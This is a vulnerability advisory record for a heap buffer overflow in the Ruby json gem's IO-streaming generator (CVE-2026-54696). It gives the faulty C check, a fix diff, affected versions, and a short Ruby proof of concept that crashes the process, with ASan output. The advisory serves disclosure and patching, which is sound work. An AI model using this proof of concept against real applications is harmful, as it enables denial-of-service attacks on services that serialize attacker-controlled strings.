{"affected":[{"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-x2f5-4prf-w687/GHSA-x2f5-4prf-w687.json"},"package":{"ecosystem":"RubyGems","name":"json","purl":"pkg:gem/json"},"ranges":[{"events":[{"introduced":"2.9.0"},{"fixed":"2.19.9"}],"type":"ECOSYSTEM"}],"versions":["2.10.0","2.10.1","2.10.2","2.11.0","2.11.1","2.11.2","2.11.3","2.12.0","2.12.1","2.12.2","2.13.0","2.13.1","2.13.2","2.14.0","2.14.1","2.15.0","2.15.1","2.15.2","2.15.2.1","2.16.0","2.17.0","2.17.1","2.17.1.2","2.18.0","2.18.1","2.19.0","2.19.1","2.19.2","2.19.3","2.19.4","2.19.5","2.19.6","2.19.7","2.19.8","2.9.0","2.9.1"]}],"aliases":["CVE-2026-54696"],"database_specific":{"cwe_ids":["CWE-122","CWE-131","CWE-787"],"github_reviewed":true,"github_reviewed_at":"2026-07-23T19:48:08Z","nvd_published_at":"2026-06-30T23:17:28Z","severity":"LOW"},"details":"### Summary\n\n`JSON.dump(obj, io)` and `JSON::State#generate(obj, io)` can write past the\ninternal JSON generator buffer when a streamed object contains an\nattacker-controlled string near 16 KB. The issue is a heap out-of-bounds write\nin the IO-streaming path and is demonstrated as a reliable process crash /\ndenial of service.\n\nThis was triaged on HackerOne as report #3785370. The issue was confirmed there\nand I was asked to open it here.\n\n### Details\n\nRoot cause is in `ext/json/fbuffer/fbuffer.h`, `fbuffer_do_inc_capa()`.\n\nOn the IO path, the buffer is grown to `FBUFFER_IO_BUFFER_SIZE` (16383), but the\nearly return checks total capacity instead of remaining capacity:\n\n```c\nif (RB_UNLIKELY(fb->io)) {\n    if (fb->capa < FBUFFER_IO_BUFFER_SIZE) {\n        fbuffer_realloc(fb, FBUFFER_IO_BUFFER_SIZE);\n    } else {\n        fbuffer_flush(fb);\n    }\n\n    if (RB_LIKELY(requested < fb->capa)) {\n        return;\n    }\n}\n```\n\nIf `fb->len` already contains JSON syntax bytes, and a string flush has\n`16383 - fb->len <= requested < 16383`, this check returns even though there is\nnot enough space left. `fbuffer_append_reserved()` then writes past the buffer:\n\n```c\nMEMCPY(fb->ptr + fb->len, newstr, char, len);\n```\n\nThe minimal fix is to compare against the remaining capacity:\n\n```diff\n-        if (RB_LIKELY(requested < fb->capa)) {\n+        if (RB_LIKELY(requested <= fb->capa - fb->len)) {\n             return;\n         }\n```\n\n### PoC\n\n```ruby\nrequire \"json\"\nrequire \"stringio\"\n\nio = StringIO.new\nbig = \"a\" * 16385\nbig[16382] = '\"'          # escapable byte near the buffer boundary\n\nJSON.dump([big], io)\n```\n\nVerified results:\n\n```text\nRuby 4.0.5 / bundled json 2.18.0:\nmalloc(): invalid size (unsorted)\n.../json/common.rb:956: [BUG] Aborted\n\nruby/ruby master c78418b7a0 / json 2.19.8 / ASan:\nheap-buffer-overflow WRITE of size 16382\n  fbuffer_append_reserved  ext/json/fbuffer/fbuffer.h:145\n  search_flush             ext/json/generator/generator.c:139\n  convert_UTF8_to_JSON     ext/json/generator/generator.c:231\n  raw_generate_json_string ext/json/generator/generator.c:922\n  cState_m_generate        ext/json/generator/generator.c:1891\n```\n\nControl: the same data through `JSON.dump([big])` without an IO argument returns\nnormally. The bug is specific to the IO-streaming path.\n\n### Impact\n\nA remote attacker can trigger a heap out-of-bounds write if they control a\nstring field that an application serializes through `JSON.dump(obj, io)` or\n`JSON::State#generate(obj, io)`. The demonstrated impact is reliable denial of\nservice. I am not claiming code execution or information disclosure.","id":"GHSA-x2f5-4prf-w687","modified":"2026-09-10T03:51:12.575360401Z","published":"2026-07-23T19:48:08Z","references":[{"type":"WEB","url":"https://github.com/ruby/json/security/advisories/GHSA-x2f5-4prf-w687"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54696"},{"type":"WEB","url":"https://github.com/ruby/json/commit/996bac686d64e4e3aaeae03b14a7f9ee9695ebdb"},{"type":"PACKAGE","url":"https://github.com/ruby/json"},{"type":"WEB","url":"https://github.com/ruby/json/releases/tag/v2.19.9"},{"type":"WEB","url":"https://github.com/rubysec/ruby-advisory-db/blob/master/gems/json/CVE-2026-54696.yml"}],"schema_version":"1.9.0","severity":[{"score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L","type":"CVSS_V3"}],"summary":"Ruby json: JSON generator heap buffer overflow when streaming to an IO"}